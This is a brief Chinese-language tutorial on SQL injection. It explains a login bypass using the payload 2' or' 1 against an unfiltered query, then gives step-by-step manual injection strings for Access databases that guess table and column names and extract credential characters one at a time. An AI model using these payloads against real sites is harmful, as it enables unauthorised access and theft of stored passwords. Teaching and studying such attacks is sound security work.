SQL注入
就是通过sql命令插入到web表单中提交或输出域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令。
用户进行用户名和密码验证时,网站需要查询数据库,查询数据库是就执行sql语句
当用户登录时,后台执行的数据库操作语句是【select user_id ,user_type ,email from users where user_id='用户名' and password='密码'】
由于网站后台执行数据库查询语句时没有对单引号进行过滤,当用户名输入【admin】和万能密码【2' or' 1】时,执行语句是
【select user_id,user_type,email from users where user_id='admin' and password='2' or' 1】
由于SQL语句中逻辑运算符有优先级,= 优先于 and and 优先于 or 且适于传递性。
因此,SQL语句在后台进行解析是分为两句,【select user_id,user_type,email from users where user_id='admin' and password=' 2'】和 【' 1'】两句bool值进行逻辑or运算,SQL语句查询结果为true,就意味着认证成功,就可以登录系统了。
手工注入access 数据库
首先在链接的结尾处依次添加语句【' 】 【and 1=1】,【and 1=2】来判断网站是否存在SQL注入点
然后 ,再添加语句【and exists(select * from admin)】再根据页面返回的结果来猜解表名。
再次,添加语句【and exists (select admin from admin)】,来猜解admin表中的列名admin。
最后再添加语句【 and (select top 1 len (admin) from admin >1】来猜解字段的长度,
添加语句【and select top 1 asc (mid(admin,1,1)from admin )>97】来猜解字段中的Ascll码。
以上步骤,反复猜解 ,就可以得到数据库中的用户名和密码了。